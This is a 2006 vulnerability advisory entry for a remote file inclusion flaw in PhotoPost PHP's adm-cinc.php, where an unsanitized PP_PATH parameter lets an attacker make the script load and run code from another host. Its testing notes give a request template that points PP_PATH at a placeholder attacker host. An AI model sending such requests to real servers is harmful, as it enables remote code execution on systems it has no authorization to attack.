PhotoPost PHP adm-cinc.php PP_PATH Variable Remote File Inclusion

2006-09-18T13:40:39
ID OSVDB:32226
Type osvdb
Reporter AG Spider(ag-spider@hotmail.com)
Modified 2006-09-18T13:40:39

Description

Vulnerability Description

PhotoPost PHP contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the adm-cinc.php script not properly sanitizing user input supplied to the 'PP_PATH' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

PhotoPost PHP contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the adm-cinc.php script not properly sanitizing user input supplied to the 'PP_PATH' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[path]/adm-cinc.php?PP_PATH=[attacker]?

References:

Vendor URL: http://www.photopost.com/ Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0272.html CVE-2006-4990